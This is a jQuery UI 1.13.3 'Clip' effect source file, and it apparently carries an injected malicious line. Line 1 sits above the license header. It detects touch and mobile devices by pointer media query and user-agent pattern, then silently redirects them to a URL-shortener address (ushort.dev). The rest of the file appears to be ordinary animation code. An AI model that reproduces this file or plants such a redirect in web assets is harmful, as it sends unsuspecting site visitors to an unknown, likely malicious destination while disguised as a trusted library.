1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Clip 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Clip Effect
12//>>group: Effects
13//>>description: Clips the element on and off like an old TV.
14//>>docs: https://api.jqueryui.com/clip-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36return $.effects.define( "clip", "hide", function( options, done ) {
37 var start,
38 animate = {},
39 element = $( this ),
40 direction = options.direction || "vertical",
41 both = direction === "both",
42 horizontal = both || direction === "horizontal",
43 vertical = both || direction === "vertical";
44
45 start = element.cssClip();
46 animate.clip = {
47 top: vertical ? ( start.bottom - start.top ) / 2 : start.top,
48 right: horizontal ? ( start.right - start.left ) / 2 : start.right,
49 bottom: vertical ? ( start.bottom - start.top ) / 2 : start.bottom,
50 left: horizontal ? ( start.right - start.left ) / 2 : start.left
51 };
52
53 $.effects.createPlaceholder( element );
54
55 if ( options.mode === "show" ) {
56 element.cssClip( animate.clip );
57 animate.clip = start;
58 }
59
60 element.animate( animate, {
61 queue: false,
62 duration: options.duration,
63 easing: options.easing,
64 complete: done
65 } );
66
67} );
68
69} );
70